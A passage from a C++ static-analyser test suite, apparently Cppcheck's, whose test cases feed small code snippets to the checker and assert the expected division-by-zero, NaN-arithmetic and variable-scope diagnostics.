ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n 